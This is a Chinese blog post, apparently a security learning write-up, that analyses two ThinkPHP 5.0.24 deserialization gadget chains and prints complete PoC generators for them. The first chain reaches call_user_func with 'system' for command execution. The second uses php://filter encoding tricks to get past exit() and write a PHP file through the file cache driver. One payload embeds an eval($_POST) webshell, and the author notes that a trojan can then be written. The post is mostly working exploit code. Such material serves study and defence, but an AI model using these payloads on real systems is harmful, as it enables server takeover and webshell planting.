• thinkphp5.0.24反序列化链子分析

    前言

    前几天学习了tp5.1的反序列化链，那么今天就总结一下tp5.0.24链子的构造。总体来说，我觉得tp5.0的链子要比tp5.1的链子复杂一些，在网上也是找了两条不同的链子，一个是通过写文件来 getshell，一个是直接调用函数执行rce，慢慢看吧。

    环境搭建的话很简单，直接在github上下载源码解压到www目录下，同样在控制器写一个反序列化入口就可以了。

    反序列化链分析

    直接开始分析链子，这里有两条链子，先说说执行rce的这条链子吧。

    反序列化链执行rce

    其实链子的开端和tp5.1的一样，都是通过调用windows类的__destruct方法，继而调用removefile通过属性实例化任意类调用toString()魔术方法，这里调用Model类中的tostring，

    但是Model类不能直接实例化，那就实例化继承它的Pivot类。那么这一块的poc为

    2. namespace think;
    3. abstract class Model{
    4.  
    5. }
    6.  
    7. namespace think\model;
    8. use think\Model;
    9. class Pivot extends Model{
    10.  
    11. }
    12.  
    13. namespace think\process\pipes;
    14. use think\Model\Pivot;
    15. class Windows{
    16.     private $files = [];
    17.     public function __construct()
    18.     {
    19.         $this->files = [new Pivot()];
    20.     }
    21. }
    22.  
    23. use think\process\pipes\Windows;
    24. echo base64_encode(serialize(new Windows()));
    25. ?>

    进入到Model类的tostring方法，继续跟进tojosn，再跟进toArray方法，老套路，不必多说。同样是看toArray方法的关键代码。

     我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控，可以发现value的值最终受到append数组键名的影响，那我们就正向分析。

    relation的值是直接由name控制，parseName函数仅仅做了格式转换，而name就是aappend键名。继续往下看，

    relation的值被当作函数来执行了，并且返回值赋值给modelRelation参数，我们希望这个参数的值是可控的，那么我们就需要调用返回值可控的函数 ，这里我们让relation赋值为getError，

    返回的error是可控的，那么现在modelRelation也可控，继续往下走，被作为参数进入到getRelationData函数里，那么继续跟进这个函数。

    这里modelRelation就作为了Relation类的对象，我们需要让value为我为我们可控，那么我们需要进入到第一个if里，看能不能满足条件，跟进isselfRelation方法，

    可控，那么最后一个判断，getmodel函数是否可控，继续跟进。

    这里需要实例化类继续调用返回值可控的这个函数，这里实例化Query类的getmodel函数，

     这样就都可控了，那么进入到if分支里，value的值是直接由parent属性控制，是可控的。回头继续看toArray函数，我们还需要进入到这两个if语句里。

    通过放大镜找到OneToOne类中有getBindAttr函数的定义，那么可以让modelRelation去实例化这个类，

    但是OneToOne是继承于Relation类的一个接口，不能直接实例化，这里HasOne继承了OneToOne类，那么我们可以实例化这个类。getBindAttr函数的返回值可控，那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为

    1. namespace think;
    2. use think\Model\Relation\HasOne;
    3. use think\console\Output;
    4. abstract class Model{
    5.     protected $append = [];
    6.     protected $error;
    7.     protected $parent;
    8.     public function __construct()
    9.     {
    10.         $this->append = ['getError'];
    11.         $this->error = new HasOne();
    12.         $this->parent = new Output();
    13.     }
    14. }
    15.  
    16. namespace think\model\relation;
    17. use think\db\Query;
    18.  
    19. class HasOne{
    20.     protected $selfRelation;
    21.     protected $query;
    22.     protected $bindAttr = [];
    23.     public function __construct()
    24.     {
    25.         $this->selfRelation = false;
    26.         $this->query = new Query();
    27.         $this->bindAttr = ["aaa"=>"222"];
    28.     }
    29. }
    30.  
    31. namespace think\console;
    32. use think\session\driver\Memcached;
    33. class Output{
    34.     
    35. }
    36.  
    37. namespace think\db;
    38. use think\console\Output;
    39. class Query{
    40.     protected $model;
    41.     public function __construct()
    42.     {
    43.         $this->model = new Output();
    44.     }
    45. }

    这样就成功调用了call方法。

     这里调用了block方法，跟进block方法。

    继续跟进writeln方法。

    套娃一样，继续跟进write方法。

    这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。

    这里又可以调用任意类的set方法，这里我们调用think\cache\Mecache类的set方法，注意重名了，但是不在一个命名空间。

    这里跟进has函数，

    getCacheKey函数只进行了一个拼接，然后调用任意类的get方法。那么我们就可以调用Request类的set方法。

    最后调用经典input方法，这里的this->get和filter都是我们可控的。 进入input方法，最终调用filterValue方法，

    调用call_user_func函数来执行命令。这里的value就是this->get，构造最终poc。

    2. namespace think;
    3. use think\Model\Relation\HasOne;
    4. use think\console\Output;
    5. abstract class Model{
    6.     protected $append = [];
    7.     protected $error;
    8.     protected $parent;
    9.     public function __construct()
    10.     {
    11.         $this->append = ['getError'];
    12.         $this->error = new HasOne();
    13.         $this->parent = new Output();
    14.     }
    15. }
    16.  
    17. namespace think\model\relation;
    18. use think\db\Query;
    19.  
    20. class HasOne{
    21.     protected $selfRelation;
    22.     protected $query;
    23.     protected $bindAttr = [];
    24.     public function __construct()
    25.     {
    26.         $this->selfRelation = false;
    27.         $this->query = new Query();
    28.         $this->bindAttr = ["aaa"=>"222"];
    29.     }
    30. }
    31.  
    32. namespace think\db;
    33. use think\console\Output;
    34. class Query{
    35.     protected $model;
    36.     public function __construct()
    37.     {
    38.         $this->model = new Output();
    39.     }
    40. }
    41.  
    42. namespace think\console;
    43. use think\session\driver\Memcached;
    44. class Output{
    45.     private $handle;
    46.     protected $styles = [
    47.         "getAttr"
    48.     ];
    49.     public function __construct()
    50.     {
    51.         $this->handle = new Memcached();
    52.     }
    53. }
    54.  
    55. namespace think\cache;
    56. abstract class Driver{
    57.  
    58. }
    59.  
    60. namespace think\session\driver;
    61. use think\cache\driver\Memcache;
    62. use think\cache\Driver;
    63. class Memcached {                //个人认为防止重名
    64.     protected $handler;
    65.     protected $config = [   //config一定要写全，不然打不通
    66.         'session_name' => '', // memcache key前缀
    67.         'username'     => '', //账号
    68.         'password'     => '', //密码
    69.         'host'         => '127.0.0.1', // memcache主机
    70.         'port'         => 11211, // memcache端口
    71.         'expire'       => 3600, // session有效期
    72.     ];
    73.     public function __construct()
    74.     {
    75.         $this->handler = new Memcache();
    76.     }
    77. }
    78.  
    79. namespace think\cache\driver;
    80. use think\Request;
    81. class Memcache{
    82.     protected $tag = "haha";
    83.     protected $handler;
    84.     protected $options = ['prefix'=>'haha/'];
    85.     public function __construct()
    86.     {
    87.         $this->handler = new Request();
    88.     }
    89. }
    90.  
    91. namespace think;
    92. class Request{
    93.     protected $get = ["haha"=>'dir'];
    94.     protected $filter;
    95.     public function __construct()
    96.     {
    97.         $this->filter = 'system';
    98.     }
    99. }
    100.  
    101. namespace think\model;
    102. use think\Model;
    103. class Pivot extends Model{
    104.  
    105. }
    106.  
    107. namespace think\process\pipes;
    108. use think\Model\Pivot;
    109. class Windows{
    110.     private $files = [];
    111.     public function __construct(){
    112.         $this->files = [new Pivot()];
    113.     }
    114. }
    115.  
    116. use think\process\pipes\Windows;
    117. echo base64_encode(serialize(new Windows()));
    118. ?>

    一些细节上的地方没有细说，因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload

    测试成功，这一条链子就分析到这。

    反序列化链写文件getshell

    前面调用tostring函数，调用call函数啥的都跟上一个链子一样。这里就不在赘述。

    从think\session\dirver里的Mecache类开始，调用file类的set方法

    最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename，跟进getCacheKey函数。

    可以发现后缀名被锁死了，但是name我们还是可控的，所以filename部分可控。如果说data也可控的话，那么就可以写shell了。 通过函数调用链可以发现data是由value控制，继而由sessData控制，最终追述到Output类的writeln方法。

    这里为true，被写死了。不能写内容怎么getshell？我们可以继续调用setTagItem函数。

    这里又一次调用了set方法，那么看一下key是否可控。很明显，它是由$this->tag控制，可控。那么value呢？由name控制，仔细看传进来的name，它不就是我们可控的filename嘛，那么我们就可以调用file_put_contents来写文件了。注意

    拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢？

    我们可以利用php伪协议来绕过。

    如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话，php会把文件内容进行rot13编码，然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中，成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload，

    $this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

    windows写文件的这个原理我还不太了解，可以参考这篇文章：Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)

    最终poc为

    2. namespace think\process\pipes;
    3. use think\model\Pivot;
    4. class Pipes{
    5. 	
    6. }
    7. class Windows extends Pipes{
    8. 	private $files=[];
    9. 	function __construct(){
    10. 		$this->files=[new Pivot()];
    11. 	}
    12. 	
    13. }
    14. namespace think;
    15. use think\model\relation\HasOne; 
    16. use think\console\Output;
    17. abstract class Model{
    18. 	protected $append = [];
    19. 	protected $error;
    20. 	public $parent;      
    21. 	public function __construct(){
    22. 		$this->append=["getError"];
    23. 		$this->error=new HasOne();
    24. 		$this->parent=new Output();
    25. 	}
    26. }
    27. namespace think\model\relation;
    28. use think\model\Relation;
    29. class HasOne extends OneToOne{
    30. 	function __construct(){
    31. 		parent::__construct();
    32. 	}
    33. }
    34. namespace think\model;
    35. use think\db\Query;
    36. abstract class Relation{
    37. 	protected $selfRelation;
    38. 	protected $query;
    39. 	function __construct(){
    40. 		$this->selfRelation=false;
    41. 		$this->query= new Query();
    42. 	}
    43. }
    44. namespace think\console;
    45. use think\session\driver\Memcache;
    46. class Output{
    47. 	private $handle = null;
    48. 	protected $styles = [];  
    49. 	function __construct(){
    50. 		$this->styles=['getAttr']; 
    51. 		$this->handle=new Memcache();
    52. 	}
    53. }
    54. namespace think\db;
    55. use think\console\Output;
    56. class Query{
    57. 	protected $model;
    58. 	function __construct(){
    59. 		$this->model= new Output();
    60. 	}
    61. }
    62. namespace think\model\relation;
    63. use think\model\Relation;
    64. abstract class OneToOne extends Relation{
    65. 	
    66. 	protected $bindAttr = [];
    67. 	function __construct(){
    68. 		parent::__construct();
    69. 		$this->bindAttr=["aaa","123"];
    70. 		
    71. 	}
    72. }
    73. namespace think\session\driver;
    74. use think\cache\driver\File;
    75. class Memcache{
    76. 	protected $handler = null;
    77. 	function __construct(){
    78. 		$this->handler=new File();
    79. 	}
    80. }
    81. namespace think\cache\driver;
    82. use think\cache\Driver;
    83. class File extends Driver{
    84. 	protected $options=[];
    85. 	function __construct(){
    86. 		parent::__construct();
    87. 	$this->options = [
    88.         'expire'        => 0,
    89.         'cache_subdir'  => false,
    90.         'prefix'        => '',
    91.         'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
    92.         'data_compress' => false,//base64字符串为 phpinfo();\?\>
    93.     ];
    94. 	}
    95. }
    96. namespace think\cache;
    97. abstract class Driver{
    98. 	 protected $tag;
    99. 	 function __construct(){
    100. 		 $this->tag=true;
    101. 	 }
    102. }
    103. namespace think\model;
    104. use think\Model;
    105. class Pivot extends Model{
    106. }
    107. use think\process\pipes\Windows;
    108. echo base64_encode(serialize(new Windows()));
    109.  
    110. //
    111. ?>

    将payload打进去，

    可以看到成功写入了文件了。 那么访问这个文件，

    能够成功执行命令。那么就可以写木马进去了。

    结语

    第二条链子要比第一条复杂，涉及到windows下文件名的限制问题。还是要理解原理。

    相关链接：

    Thinkphp5.0.24 反序列化rce链学习_bfengj的博客-CSDN博客_thinkphp5.0.24

    Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户

  • 相关阅读:
    装openwrt路由器断电重启后变砖
    DC-DC选型及电路设计
    测开日常积累 —— 自动化测试里的数据驱动和关键字驱动思路的理解
    some和every
    音频——I2S 左对齐模式(三)
    海运到美国整柜多少钱?
    Ansible配置和使用（Ansible免密登陆的小技巧）
    863. 二叉树中所有距离为 K 的结点
    裸 VSCode 必备插件
    视频超分之BasicVSR++阅读笔记
  • 原文地址：https://blog.csdn.net/m0_62422842/article/details/125867930